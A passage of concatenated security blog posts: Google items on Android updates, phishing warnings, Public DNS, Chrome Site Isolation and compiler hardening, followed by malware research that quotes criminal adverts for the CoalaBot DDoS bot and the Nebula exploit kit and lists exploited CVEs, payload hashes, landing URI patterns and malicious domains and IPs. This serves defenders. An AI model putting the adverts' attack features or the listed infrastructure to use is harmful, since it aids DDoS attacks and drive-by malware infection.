deliver regular security updates in advance of coordinated disclosure of high severity vulnerabilities, published in our Android bulletins. Since the common vulnerability disclosure window is 90 days, updates on a 90-day frequency represents a minimum security hygiene requirement. Enterprise Best PracticesProduct security factors into purchase decisions of enterprises, who often consider device security update cadence, flexibility of policy controls, and authentication features. Earlier this year, we introduced the Android Enterprise Recommended program to help businesses make these decisions. To be listed, Android devices must satisfy numerous requirements, including regular security updates: at least every 90 days, with monthly updates strongly recommended. In addition to businesses, consumers interested in understanding security update practices and commitment may also refer to the Enterprise Recommended list. Making Android Easier to UpdateWe've also been working to make Android easier to update, overall. A key pillar of that strategy is to improve modularity and clarity of interfaces, enabling operating system subsystems to be updated without adversely impacting others. Project Treble is one example of this strategy in action and has enabled devices to update to Android P more easily and efficiently than was possible in previous releases. The modularity strategy applies equally well for security updates, as a framework security update can be performed independently of device specific components. Another part of the strategy involves the extraction of operating system services into user-mode applications that can be updated independently, and sometimes more rapidly, than the base operating system. For example, Google Play services, including secure networking components, and the Chrome browser can be updated individually, just like other Google Play apps. Partner programs are a third key pillar of the updateability strategy. One example is the GMS Express program, in which Google is working closely with system-on-chip (SoC) suppliers to provide monthly pre-integrated and pre-tested Android security updates for SoC reference designs, reducing cost and time to market for delivering them to users. Security Patch Level ComplianceRecently, researchers reported a handful of missing security bug fixes across some Android devices. Initial reports had several inaccuracies, which have since been corrected. We have been developing security update testing systems that are now making compliance failures less likely to occur. In particular, we recently delivered a new testing infrastructure that enables manufacturers to develop and deploy automated tests across lower levels of the firmware stack that were previously relegated to manual testing. In addition, the Android build approval process now includes scanning of device images for specific patterns, reducing the risk of omission. Looking ForwardIn 2017, about a billion Android devices received security updates, representing approximately 30% growth over the preceding year. We continue to work hard devising thoughtful strategies to make Android easier to update by introducing improved processes and programs for the ecosystem. In addition, we are also working to drive increased and more expedient partner adoption of our security update and compliance requirements. As a result, over coming quarters, we expect the largest ever growth in the number of Android devices receiving regular security updates. Bugs are inevitable in all complex software systems, but exploitability of those bugs is not. We're working hard to ensure that the incidence of potentially harmful exploitation of bugs continues to decline, such that the frequency for security updates will reduce, not increase, over time. While monthly security updates represents today's best practice, we see a future in which security updates becomes easier and rarer, while maintaining the same goal to protect all users across all devices.

Posted by Shane Huntley, Threat Analysis GroupTLDR: Government-backed phishing has been in the news lately. If you receive a warning in Gmail, be sure to take prompt action. Get two-factor authentication on your account. And consider enrolling in the Advanced Protection Program.One of the main threats to all email users (whatever service you use) is phishing, attempts to trick you into providing a password that an attacker can use to sign into your account. Our ​improving ​technology has enabled ​us to ​significantly ​decrease ​the ​volume ​of ​phishing ​emails that ​get ​through to our users. ​ Automated ​protections, ​account ​security ​(like ​security ​keys), ​and specialized ​warnings give ​Gmail users industry-leading ​security.Beyond phishing for the purposes of fraud, a small minority of users in all corners of the world are still targeted by sophisticated government-backed attackers. These attempts come from dozens of countries. Since 2012, we've shown prominent warnings within Gmail notifying users that they may be targets of these types of phishing attempts; we show thousands of these warnings every month, even if we have blocked the specific attempt.We also send alerts to G Suite administrators if someone in their corporate network may have been the target of government-backed phishing. And we regularly post public advisories to make sure that people are aware of this risk.This is what an account warning looks like; an extremely small fraction of users will ever see one of these, but if you receive this warning from us, it's important to take immediate action on it.We intentionally send these notices in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track some of our defense strategies. We have an expert team in our Threat Analysis Group, and we use a variety of technologies to detect these attempts. We also notify law enforcement about what we’re seeing; they have additional tools to investigate these attacks.We hope you never receive this type of warning, but if you do, please take action right away to enhance the security of your accounts.Even if you don’t receive such a warning, you should enable 2-step verification in Gmail. And if you think you’re at particular risk of government-backed phishing, consider enrolling in the Advanced Protection Program, which provides even stronger levels of security.

Posted by Eric Brown and Marc Henson, Trust & SafetySince 2010, Google’s Vulnerability Reward Programs have awarded more than $12 million dollars to researchers and created a thriving Google-focused security community. For the past two years, some of these rewards were for bug reports that were not strictly security vulnerabilities, but techniques that allow third parties to successfully bypass our abuse, fraud, and spam systems.Today, we are expanding our Vulnerability Reward Program to formally invite researchers to submit these reports.This expansion is intended to reward research that helps us mitigate potential abuse methods. A few examples of potentially valid reports for this program could include bypassing our account recovery systems at scale, identifying services vulnerable to brute force attacks, circumventing restrictions on content use and sharing, or purchasing items from Google without paying. Valid reports tend to result in changes to the product’s code, as opposed to removal of individual pieces of content.This program does not cover individual instances of abuse, such as the posting of content that violates our guidelines or policies, sending spam emails, or providing links to malware. These should continue to be reported through existing product-specific channels, such as for Google+, YouTube, Gmail, and Blogger.Reports submitted to our Vulnerability Reward Program that outline abuse methods are reviewed by experts on our Trust & Safety team, which specializes in the prevention and mitigation of abuse, fraud, and spam activity on our products.We greatly value our relationship with the research community, and we’re excited to expand on it to help make the internet a safer place for everyone. To learn more, see our updated rules.Happy hunting!

Posted by Alexander Dupuy, Software EngineerOnce upon a time, we launched Google Public DNS, which you might know by its iconic IP address, 8.8.8.8. (Sunday, August 12th, 2018, at 00:30 UTC marks eight years, eight months, eight days and eight hours since the announcement.) Though not as well-known as Google Search or Gmail, the four eights have had quite a journey—and some pretty amazing growth! Whether it’s travelers in India’s train stations or researchers on the remote Antarctic island Bouvetøya, hundreds of millions of people the world over rely on our free DNS service to turn domain names like wikipedia.org into IP addresses like 208.80.154.224.Google Public DNS query growth and major feature launchesToday, it’s estimated that about 10% of internet users rely on 8.8.8.8, and it serves well over a trillion queries per day. But while we’re really proud of that growth, what really matters is whether it’s a valuable service for our users. Namely, has Google Public DNS made the internet faster for users? Does it safeguard their privacy? And does it help them get to internet sites more reliably and securely?In other words, has 8.8.8.8 made DNS and the internet better as a whole? Here at Google, we think it has. On this numerological anniversary, let’s take a look at how Google Public DNS has realized those goals and what lies ahead.Making the internet fasterFrom the start, a key goal of Google Public DNS was to make the internet faster. When we began the project in 2007, Google had already made it faster to search the web, but it could take a while to get to your destination. Back then, most DNS lookups used your ISP’s resolvers, and with small caches, they often had to make multiple DNS queries before they could return an address.Google Public DNS resolvers’ DNS caches hold tens of billions of entries worldwide. And because hundreds of millions of clients use them every day, they usually return the address for your domain queries without extra lookups, connecting you to the internet that much faster.DNS resolution process for example.orgSpeeding up DNS responses is just one part of making the web faster—getting web content from servers closer to you can have an even bigger impact. Content Delivery Networks (CDNs) distribute large, delay-sensitive content like streaming videos to users around the world. CDNs use DNS to direct users to the nearest servers, and rely on GeoIP maps to determine the best location.Everything’s good if your DNS query comes from an ISP resolver that is close to you, but what happens if the resolver is far away, as it is for researchers on Bouvetøya? In that case, the CDN directs you to a server near the DNS resolver—but not the one closest to you. In 2010, along with other DNS and CDN services, we proposed a solution that lets DNS resolvers send part of your IP address in their DNS queries, so CDN name servers can get your best possible GeoIP location (short of sending your entire IP address). By sending only the first three parts of users’ IP addresses (e.g. 192.0.2.x) in the EDNS Client Subnet (ECS) extension, CDNs can return the closest content while maintaining user privacy.We continue to enhance ECS, (now published as RFC 7871), for example, by adding automatic detection of name server ECS support. And today, we’re happy to report, support for ECS is widespread among CDNs.Safeguarding user privacyFrom day one of our service, we’ve always been serious about user privacy. Like all Google services, we honor the general Google Privacy Policy, and are guided by Google’s Privacy Principles. In addition, Google Public DNS published a privacy practice statement about the information we collect and how it is used—and how it’s not used. These protect the privacy of your DNS queries once they arrive at Google, but they can still be seen (and potentially modified) en route to 8.8.8.8.To address this weakness, we launched a public beta of DNS-over-HTTPS on April 1, 2016, embedding your DNS queries in the secure and private HTTPS protocol. Despite the launch date, this was not an April Fool’s joke, and in the following two years, it has grown dramatically, with millions of users and support by another major public DNS service. Today, we are working in the IETF and with other DNS operators and clients on the Internet Draft for DNS Queries over HTTPS specification, which we also support.Securing the Domain Name SystemWe’ve always been very concerned with the integrity and security of the responses that Google Public DNS provides. From the start, we rejected the practice of hijacking nonexistent domain (NXDOMAIN) responses, working to provide users with accurate and honest DNS responses, even when attackers tried to corrupt them.In 2008, Dan Kaminsky publicized a major security weakness in the DNS protocol that left most DNS resolvers vulnerable to spoofing that poisoned their DNS caches. When we launched 8.8.8.8 the following year, we not only used industry best practices to mitigate this vulnerability, but also developed an extensive set of additional protections.While those protected our DNS service from most attackers, they can’t help in cases where an attacker can see our queries. Starting in 2010, the internet started to use DNSSEC security in earnest, making it possible to protect cryptographically signed domains against such man-in-the-middle and man-on-the-side attacks. In 2013, Google Public DNS became the first major public DNS resolver to implement DNSSEC validation for all its DNS queries, doubling the percentage of end users protected by DNSSEC from 3.3% to 8.1%.In addition to protecting the integrity of DNS responses, Google Public DNS also works to block DNS denial of service attacks by rate limiting both our queries to name servers and reflection or amplification attacks that try to flood victims’ network connections.Internet access for allA big part of Google Public DNS’s tremendous growth comes from free public internet services. We make the internet faster for hundreds of these services, from free WiFi in San Francisco’s parks to LinkNYC internet kiosk hotspots and the Railtel partnership in India‘s train stations. In places like Africa and Southeast Asia, many ISPs also use 8.8.8.8 to resolve their users’ DNS queries. Providing free DNS resolution to anyone in the world, even to other companies, supports internet access worldwide as a part of Google’s Next Billion Users initiative.APNIC Labs map of worldwide usage (Interactive Map)Looking aheadToday, Google Public DNS is the largest public DNS resolver. There are now about a dozen such services providing value-added features like content and malware filtering, and recent entrants Quad9 and Cloudflare also provide privacy for DNS queries over TLS or HTTPS.But recent incidents that used BGP hijacking to attack DNS are concerning. Increasing the adoption and use of DNSSEC is an effective way to protect against such attacks and as the largest DNSSEC validating resolver, we hope we can influence things in that direction. We are also exploring how to improve the security of the path from resolvers to authoritative name servers—issues not currently addressed by other DNS standards.In short, we continue to improve Google Public DNS both behind the scenes and in ways visible to users, adding features that users want from their DNS service. Stay tuned for some exciting Google Public DNS announcements in the near future!

Posted by Charlie Reis, Site IsolatorSpeculative execution side-channel attacks like Spectre are a newly discovered security risk for web browsers. A website could use such attacks to steal data or login information from other websites that are open in the browser. To better mitigate these attacks, we're excited to announce that Chrome 67 has enabled a security feature called Site Isolation on Windows, Mac, Linux, and Chrome OS. Site Isolation has been optionally available as an experimental enterprise policy since Chrome 63, but many known issues have been resolved since then, making it practical to enable by default for all desktop Chrome users.This launch is one phase of our overall Site Isolation project. Stay tuned for additional security updates that will mitigate attacks beyond Spectre (e.g., attacks from fully compromised renderer processes).What is Spectre?In January, Google Project Zero disclosed a set of speculative execution side-channel attacks that became publicly known as Spectre and Meltdown. An additional variant of Spectre was disclosed in May. These attacks use the speculative execution features of most CPUs to access parts of memory that should be off-limits to a piece of code, and then use timing attacks to discover the values stored in that memory. Effectively, this means that untrustworthy code may be able to read any memory in its process's address space.This is particularly relevant for web browsers, since browsers run potentially malicious JavaScript code from multiple websites, often in the same process. In theory, a website could use such an attack to steal information from other websites, violating the Same Origin Policy. All major browsers have already deployed some mitigations for Spectre, including reducing timer granularity and changing their JavaScript compilers to make the attacks less likely to succeed. However, we believe the most effective mitigation is offered by approaches like Site Isolation, which try to avoid having data worth stealing in the same process, even if a Spectre attack occurs.What is Site Isolation?Site Isolation is a large change to Chrome's architecture that limits each renderer process to documents from a single site. As a result, Chrome can rely on the operating system to prevent attacks between processes, and thus, between sites. Note that Chrome uses a specific definition of "site" that includes just the scheme and registered domain. Thus, https://google.co.uk would be a site, and subdomains like https://maps.google.co.uk would stay in the same process.Chrome has always had a multi-process architecture where different tabs could use different renderer processes. A given tab could even switch processes when navigating to a new site in some cases. However, it was still possible for an attacker's page to share a process with a victim's page. For example, cross-site iframes and cross-site pop-ups typically stayed in the same process as the page that created them. This would allow a successful Spectre attack to read data (e.g., cookies, passwords, etc.) belonging to other frames or pop-ups in its process.When Site Isolation is enabled, each renderer process contains documents from at most one site. This means all navigations to cross-site documents cause a tab to switch processes. It also means all cross-site iframes are put into a different process than their parent frame, using "out-of-process iframes." Splitting a single page across multiple processes is a major change to how Chrome works, and the Chrome Security team has been pursuing this for several years, independently of Spectre. The first uses of out-of-process iframes shipped last year to improve the Chrome extension security model.A single page may now be split across multiple renderer processes using out-of-process iframes.Even when each renderer process is limited to documents from a single site, there is still a risk that an attacker's page could access and leak information from cross-site URLs by requesting them as subresources, such as images or scripts. Web browsers generally allow pages to embed images and scripts from any site. However, a page could try to request an HTML or JSON URL with sensitive data as if it were an image or script. This would normally fail to render and not expose the data to the page, but that data would still end up inside the renderer process where a Spectre attack might access it. To mitigate this, Site Isolation includes a feature called Cross-Origin Read Blocking (CORB), which is now part of the Fetch spec. CORB tries to transparently block cross-site HTML, XML, and JSON responses from the renderer process, with almost no impact to compatibility. To get the most protection from Site Isolation and CORB, web developers should check that their resources are served with the right MIME type and with the nosniff response header.Site Isolation is a significant change to Chrome's behavior under the hood, but it generally shouldn't cause visible changes for most users or web developers (beyond a few known issues). It simply offers more protection between websites behind the scenes. Site Isolation does cause Chrome to create more renderer processes, which comes with performance tradeoffs: on the plus side, each renderer process is smaller, shorter-lived, and has less contention internally, but there is about a 10-13% total memory overhead in real workloads due to the larger number of processes. Our team continues to work hard to optimize this behavior to keep Chrome both fast and secure.How does Site Isolation help?In Chrome 67, Site Isolation has been enabled for 99% of users on Windows, Mac, Linux, and Chrome OS. (Given the large scope of this change, we are keeping a 1% holdback for now to monitor and improve performance.) This means that even if a Spectre attack were to occur in a malicious web page, data from other websites would generally not be loaded into the same process, and so there would be much less data available to the attacker. This significantly reduces the threat posed by Spectre.Because of this, we are planning to re-enable precise timers and features like SharedArrayBuffer (which can be used as a precise timer) for desktop.What additional work is in progress?We're now investigating how to extend Site Isolation coverage to Chrome for Android, where there are additional known issues. Experimental enterprise policies for enabling Site Isolation will be available in Chrome 68 for Android, and it can be enabled manually on Android using chrome://flags/#enable-site-per-process.We're also working on additional security checks in the browser process, which will let Site Isolation mitigate not just Spectre attacks but also attacks from fully compromised renderer processes. These additional enforcements will let us reach the original motivating goals for Site Isolation, where Chrome can effectively treat the entire renderer process as untrusted. Stay tuned for an update about these enforcements! Finally, other major browser vendors are finding related ways to defend against Spectre by better isolating sites. We are collaborating with them and are happy to see the progress across the web ecosystem.Help improve Site Isolation!We offer cash rewards to researchers who submit security bugs through the Chrome Vulnerability Reward Program. For a limited time, security bugs affecting Site Isolation may be eligible for higher rewards levels, up to twice the usual amount for information disclosure bugs. Find out more about Chrome New Feature Special Rewards.

Posted by Ivan Lozano, Information Security Engineer [Cross-posted from the Android Developers Blog]Android's switch to LLVM/Clang as the default platform compiler in Android 7.0 opened up more possibilities for improving our defense-in-depth security posture. In the past couple of releases, we've rolled out additional compiler-based mitigations to make bugs harder to exploit and prevent certain types of bugs from becoming vulnerabilities. In Android P, we're expanding our existing compiler mitigations, which instrument runtime operations to fail safely when undefined behavior occurs. This post describes the new build system support for Control Flow Integrity and Integer Overflow Sanitization. Control Flow IntegrityA key step in modern exploit chains is for an attacker to gain control of a program's control flow by corrupting function pointers or return addresses. This opens the door to code-reuse attacks where an attacker executes arbitrary portions of existing program code to achieve their goals, such as counterfeit-object-oriented and return-oriented programming. Control Flow Integrity (CFI) describes a set of mitigation technologies that confine a program's control flow to a call graph of valid targets determined at compile-time. While we first supported LLVM's CFI implementation in select components in Android O, we're greatly expanding that support in P. This implementation focuses on preventing control flow manipulation via indirect branches, such as function pointers and virtual functions—the 'forward-edges' of a call graph. Valid branch targets are defined as function entry points for functions with the expected function signature, which drastically reduces the set of allowable destinations an attacker can call. Indirect branches are instrumented to detect runtime violations of the statically determined set of allowable targets. If a violation is detected because a branch points to an unexpected target, then the process safely aborts. Figure 1. Assembly-level comparison of a virtual function call with and without CFI enabled. For example, Figure 1 illustrates how a function that takes an object and calls a virtual function gets translated into assembly with and without CFI. For simplicity, this was compiled with -O0 to prevent compiler optimization. Without CFI enabled, it loads the object's vtable pointer and calls the function at the expected offset. With CFI enabled, it performs a fast-path first check to determine if the pointer falls within an expected range of addresses of compatible vtables. Failing that, execution falls through to a slow path that does a more extensive check for valid classes that are defined in other shared libraries. The slow path will abort execution if the vtable pointer points to an invalid target. With control flow tightly restricted to a small set of legitimate targets, code-reuse attacks become harder to utilize and some memory corruption vulnerabilities become more difficult or even impossible to exploit. In terms of performance impact, LLVM's CFI requires compiling with Link-Time Optimization (LTO). LTO preserves the LLVM bitcode representation of object files until link-time, which allows the compiler to better reason about what optimizations can be performed. Enabling LTO reduces the size of the final binary and improves performance, but increases compile time. In testing on Android, the combination of LTO and CFI results in negligible overhead to code size and performance; in a few cases both improved. For more technical details about CFI and how other forward-control checks are handled, see the LLVM design documentation. For Android P, CFI is enabled by default widely within the media frameworks and other security-critical components, such as NFC and Bluetooth. CFI kernel support has also been introduced into the Android common kernel when building with LLVM, providing the option to further harden the trusted computing base. This can be tested today on the HiKey reference boards. Integer Overflow SanitizationThe UndefinedBehaviorSanitizer's (UBSan) signed and unsigned integer overflow sanitization was first utilized when hardening the media stack in Android Nougat. This sanitization is designed to safely abort process execution if a signed or unsigned integer overflows by instrumenting arithmetic instructions which may overflow. The end result is the mitigation of an entire class of memory corruption and information disclosure vulnerabilities where the root cause is an integer overflow, such as the original Stagefright vulnerability. Because of their success, we've expanded usage of these sanitizers in the media framework with each release. Improvements have been made to LLVM's integer overflow sanitizers to reduce the performance impact by using fewer instructions in ARM 32-bit and removing unnecessary checks. In testing, these improvements reduced the sanitizers' performance overhead by over 75% in Android's 32-bit libstagefright library for some codecs. Improved Android build system support, such as better diagnostics support, more sensible crashes, and globally sanitized integer overflow targets for testing have also expedited the rollout of these sanitizers. We've prioritized enabling integer overflow sanitization in libraries where complex untrusted input is processed or where there have been security bulletin-level integer overflow vulnerabilities reported. As a result, in Android P the following libraries now benefit from this mitigation: libui libnl libmediaplayerservice libexif libdrmclearkeyplugin libreverbwrapper Future PlansMoving forward, we're expanding our use of these mitigation technologies and we strongly encourage vendors to do the same with their customizations. More information about how to enable and test these options will be available soon on the Android Open Source Project. Acknowledgements: This post was developed in joint collaboration with Vishwath Mohan, Jeffrey Vander Stoep, Joel Galenson, and Sami Tolvanen

CoalaBot appears to be build on August Stealer code (Panel and Traffic are really alike)I found it spread as a tasks in a Betabot and in an Andromeda spread via RIG fed by at least one HilltopAds malvertising. 2017-09-11: a witnessed infection chain to CoalaBotA look inside :CoalaBot: Login Screen(August Stealer alike) CoalaBot: StatisticsCoalaBot: BotsCoalaBot: TasksCoalaBot: TasksCoalaBot: New Taks (list)CoalaBot: https get task detailsCoalaBot: http post task detailsCoalaBot: SettingsHere is the translated associated advert published on 2017-08-23 by a user going with nick : Discomrade.(Thanks to Andrew Komarov and others who provided help here).------------------------------------------Coala Http Ddos Bot The software focuses on L7 attacks (HTTP). Lower levels have more primitive attacks.Attack types:• ICMP (PING) FLOOD• UDP FLOOD• TCP FLOOD• HTTP ARME• HTTP GET *• HTTP POST *• HTTP SLOWLORIS *• HTTP PULSE WAVE ** - Supports SMART mode, i.e. bypasses Cloudflare/Blazingfast and similar services (but doesn’t bypass CAPTCHA). All types except ICMP/UDP have support for using SSL.Binary:• .NET 2.0 x86 (100% working capacity WIN XP - WIN 7, on later versions ОС .NET 2.0 disabled by default)• ~100kb after obfuscation• Auto Backup (optional)• Low CPU load for efficient use• Encryption of incoming/outgoing traffic• No installation on machines from former CIS countries(RU/UA/BL/KZ/...)• Scan time non-FUD. Contact us if you need a recommendation for a good crypting service.• Ability to link a build to more than one gate.Panel:• Detailed statistics on time online/architecture/etc. • List of bots, detailed information• Number count of requests per second (total/for each bot)• Creation of groups for attacks• Auto sorting of bots by groups • Creation of tasks, the ability to choose by group/country• Setting an optional time for bots success rate Other:• Providing macros for randomization of sent data • Support of .onion gate• Ability to install an additional layer (BOT => LAYER => MAIN GATE) Requirements:• PHP 5.6 or higher• MySQL• Мodule for MySQLi(mysqli_nd); php-mbstring, php-json, php-mcrypt extensionsScreenshots:• Statistics- http://i.imgur.com/FUevsaS.jpg• Bots - http://i.imgur.com/nDwl9pY.jpg• Created tasks - http://i.imgur.com/RltiDhl.png• Task List - http://i.imgur.com/tqEEpX0.jpg• Settings - http://i.imgur.com/EbhExjE.jpgPrice:• $300 - build and panel. Up to 3 gates for one build.• $20 - rebuildThe price can vary depending on updates.Escrow service is welcome.Help with installation is no charge.------------------------------------------Sample:VT linkMD5 f3862c311c67cb027a06d4272b680a3bSHA1 0ff1584eec4fc5c72439d94e8cee922703c44049SHA256 fd07ad13dbf9da3f7841bc0dbfd303dc18153ad36259d9c6db127b49fa01d08fEmerging Threats rules :2024531 || ET TROJAN MSIL/CoalaBot CnC ActivityRead More:August in November: New Information Stealer Hits the Scene - 2016-12-07 - Proofpoint

Nebula LogoWhile Empire (RIG-E) disappeared at the end of December after 4 months of activityIllustration of  the last month of witnessed Activity for Empireon 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.------Selling EK Nebula------Nebula Exploit kitFeatures:-Automatic domain scanning and generating (99% FUD)-API rotator domains-Exploit rate tested in different traffic go up 8/19%-knock rate tested whit popular botnet go 30/70%-Clean and modern user interface-Custom domains & server ( add & point your own domains coming soon...)-Unlimited flows & files-Scan file & domains-Multiple payload file types supported (exe , dll , js, vbs)-Multi. geo flow (split loads by country & file)-Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting-Public stats by file & flow-latest CVE-2016 CVE-2017-custom features just ask supportSubscriptions:24h - 100$7d - 600$31d - 2000$Jabber - nebula-support@xmpp.jpOffering free tests to trusted users ------In same thread some screenshots were shared by a customer.Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown."GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 ) This Sundown variation was not so much different from the mainstream one.No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.Digging more it appeared it was featuring an Internal TDS (as Empire). The same exact call would give you a different payload in France or in United Kingdom/Japan."GamiNook" traffic with geo in France - 2017-02-17Identicall payload call gives you Gootkit instead of PitouPayload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.The following days i saw other actor sending traffic to this EK.Taxonomy tied to Nebula Activity in MISP - 2017-03-02Taxonomy tied to GamiNook traffic activity, EK and resulting payloadToday URI pattern changed from this morning :/?yWnuAH-XgstCZ3E=tCi6ZGr10KUDHiaOgKVNolmBgpc3rkRp-weok1A2JV-gkpS0luBwQDdM/?yXy3HX2F=tCu_Mj322aEBSXjYhatLoVmBgZJh_0Fg_wX_zQYxIg6nksDowOciFzNB/?yXzbGV2jkcB_eU8=4ya6MDz31KdQTi7ahapLolnWjJdj_EJt-VT4mwQxIQ6gksTllrB3EGRM/?ykjaKniEk6ZhH1-P=si-8YGj_1aANTynfh6Ye81mHhZE0_RNs_gn5nAExcV6okpTknOQgEmNN/?z0vDa0iBu-Q=tHnqNT_-1KcGGCzfhqVKoVmB08dm_BJt-QKumQEwJA2nksGyk-QhQDRA/?z13qMVqqoKRvTw=5S--Y2uk0apQGiyOhvdI81nQhZMwqxVo9FSsmVAyIgiokpPnl-V0QDIf/?z1fECTiT=sy7tYmz206FUGCvagKpK9VmGhMAxrxZq_1CungQwdF71ksDowOciFzNB/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksTllrB3EGRM/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksW2w7QsRTIf/?zWnBFniM=4Ca9Zjej0PRTGC3e06FJp1nVjJA1rBRpqleumABkJF2hksTllrB3EGRM/?zn3iKU_xjeNxWw=sHu7MTry2aoAFCyKgKUY8FmF0ZZi_kFg9ASimVQ2cl-lksTllrB3EGRM/?zy3jN0Gvi9RjY02F2g=4H27Yjn-0_EBHSrc26MfoVnV15Yx-hJqrwWrnwJjcVqnkpTknOQgEmNN(which is Sundown/Beps without the index.php) to/86fb7c1b/showpost.php?s=af75b6af5d0f08cf675149da13b1d3e4&p=13&postcount=8/641222267738845/thumb/6456dac5bc39ec7/comment_post.php?ice=bDaE06lCQU/507728217866857/9ecc534d/bug_report/media/pr.php?id=b38cb0526f8cd52d878009d9f27be8f4/gu/Strategy/qNXL8WmQ6G/rss.php?cat=MSFT/moddata/a9/showpost.php?s=0d2d722e1a2a625b3ceb042daf966593&p=13&postcount=1/2003/01/27/exchange-monday-wilderness/46198923243328031687/applications/blockStyle.php?last-name=6419f08706689953783a59fa4faeb75c/5wtYymZeVy/LKYcSFhKOi/showpost.php?s=2e3e8a3c3b6b00cd3033f8e20d174bf5&p=8&postcount=7/2006/08/05/fur-copper-shark/48396170957391254103/XD25OYwON1/showpost.php?s=abf72cd40a08463fad0b3d153da66cae&p=27&postcount=7/tV9FnNwo4h/b303debe9a6305791b9cd16b1f10b91e/promotion.php?catid=h/ef131fb2025525a/QLGWEFwfdh/550991586389812/core.write_file.php?lawyer=9H6UhvusOi/aPKr0Oe5GV/23861001482170285181/showpost.php?s=e74b32ba071772d5b55f97159db2e998&p=2&postcount=1/2/eb799e65a412b412ee63150944c7826d61cd7a544f7aa57029a9069698b4925b2068ed77dea8dc6210b933e3ecf1f35b/showthread.php?t=18024&page=14/js/archives/3f635a090e73f9b/showthread.php?t=6636&page=18/59cdf39001a623620bd7976a42dde55f190382060a264e21809fc51f/ff0a503d59ddb4d5e1fb663b6475dfe0ba08f0b84ce8692d/viewtopic.php?f=84&t=48361/615147354246727/339824645925013/nqHgct4sEE/showthread.php?t=51299&page=20/2012/04/22/present-measure-physical-examination(for those who would like to build their regexp, more pattern available here : https://raw.githubusercontent.com/Kafeine/public/master/Nebula_URI )2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02This landing pattern change triggered the publication of this post. Nebula might end up not being a "vapor" EK but let's wait and see. The only difference with Sundown till today was its internal TDS.Exploits: CVE-2014-6332 + CVE-2015-0016CVE-2013-2551CVE-2016-0189 godmodeCVE-2015-8651CVE-2015-7645CVE-2016-4117Files:  Nebula_2017-03-02 (2 fiddler - password is malware)Acknowledgement :Thanks Joseph C Chen and Brooks Li (Trendmicro),  Frank Ruiz (Fox-IT InTELL) and Andrew Komarov ( InfoArmor Inc. ) for the help on different aspect of this post.Edit:2017-03-03 Corrected some CVE id + not all payload are in clear---Some IOCsDateSha256Comment2017/02/17f4627005c018071f8ec6b084eef3936e3a267660b0df99ffa0d27a8d943d1af5Flash Exploit (CVE-2016-4117)2017/02/27be86dc88e6337f09999991c206f890e0d52959d41f2bb4c6515b5442b23f2eccFlash Exploit (CVE-2016-4117)2017/02/1767d598c6acbd6545ab24bbd44cedcb825657746923f47473dc40d0d1f122abb6Flash Exploit (CVE-2015-7645 Sample seen previously in Sundown)2017/02/1704fb00bdd3d2c0667b18402323fe7cf495ace5e35a4562e1a30e14b26384f41cFlash Exploit (CVE-2015-8651 Sample seen previously in Sundown)2017/02/17b976cf6fd583b349e51cb34b73de6ef3a5ee72f86849f847b9158b4a7fb2315cPitou2017/02/176fe13d913f4d3f2286f67fbde08ab17418ba8370410e52354ffa12a0aaf498f8Gootkit2017/02/221a22211d01d2e8746efe0d14ab7e1e547c3e30863a83e0884a9d90325bd7b64bRamnit2017/03/026764f98ba6509b3351ad2f960dcc47c27d0dc00d53d7e0ae132a7c1d15067f4aDiamondFoxDateDomainIPComment2017/02/17tci.nhnph.com188.209.49.135Nebula Payload Domain2017/02/22gnd.lplwp.com188.209.49.135Nebula Payload Domain2017/02/24qcl.ylk8.xyz188.209.49.23Nebula Payload Domain2017/02/28hmn.losssubwayquilt.pw93.190.141.166Nebula Payload Domain2017/03/02qgg.losssubwayquilt.pw93.190.141.166Nebula Payload Domain2017/02/17agendawedge.shoemakerzippersuccess.stream188.209.49.135Nebula2017/02/17clausmessage.nationweekretailer.club217.23.7.15Nebula2017/02/17equipmentparticle.shockadvantagewilderness.club217.23.7.15Nebula2017/02/17salaryfang.shockadvantagewilderness.club217.23.7.15Nebula2017/02/22deficitshoulder.lossicedeficit.pw188.209.49.135Nebula2017/02/22distributionjaw.hockeyopiniondust.club188.209.49.135Nebula2017/02/22explanationlier.asiadeliveryarmenian.pro188.209.49.135Nebula2017/02/23cowchange.distributionstatementdiploma.site188.209.49.151Nebula2017/02/23instructionscomposition.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/23paymentceramic.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/23soldierprice.distributionstatementdiploma.site188.209.49.135Nebula2017/02/23swissfacilities.gumimprovementitalian.stream188.209.49.135Nebula2017/02/23transportdrill.facilitiesturkishdipstick.info188.209.49.135Nebula2017/02/24authorisationmessage.casdfble.stream188.209.49.151Nebula2017/02/24cowchange.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24departmentant.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24disadvantageproduction.brassreductionquill.site188.209.49.151Nebula2017/02/24disadvantageproduction.casdfble.stream188.209.49.151Nebula2017/02/24europin.pedestrianpathexplanation.info188.209.49.151Nebula2017/02/24hygienicreduction.brassreductionquill.site188.209.49.151Nebula2017/02/24hygienicreduction.casdfble.stream188.209.49.151Nebula2017/02/24instructionscomposition.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24jobhate.pedestrianpathexplanation.info188.209.49.151Nebula2017/02/24limitsphere.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24paymentceramic.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24penaltyinternet.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/24phonef